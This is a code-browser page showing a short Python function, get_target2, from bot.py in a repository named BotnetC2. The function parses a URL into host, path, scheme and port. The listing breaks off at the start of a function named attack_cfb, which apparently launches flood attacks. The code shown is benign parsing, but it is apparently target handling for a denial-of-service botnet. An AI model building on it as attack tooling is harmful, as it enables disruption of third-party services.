MCPcopy Create free account
hub / github.com/Hex1629/BotnetC2 / get_target2

Function get_target2

BOTNETc2/bot.py:550–564  ·  view source on GitHub ↗
(url)

Source from the content-addressed store, hash-verified

548 return data
549
550def get_target2(url):
551 print(url)
552 url = url.rstrip()
553 target = {}
554 target['uri'] = urlparse(url).path
555 if target['uri'] == "":
556 target['uri'] = "/"
557 target['host'] = urlparse(url).netloc
558 target['scheme'] = urlparse(url).scheme
559 if ":" in urlparse(url).netloc:
560 target['port'] = urlparse(url).netloc.split(":")[1]
561 else:
562 target['port'] = "443" if urlparse(url).scheme == "https" else "80"
563 pass
564 return target
565
566def attack_cfb(secs, target,payload,mode):
567 if target['scheme'] == 'https':

Callers 1

mainFunction · 0.70

Calls

no outgoing calls

Tested by

no test coverage detected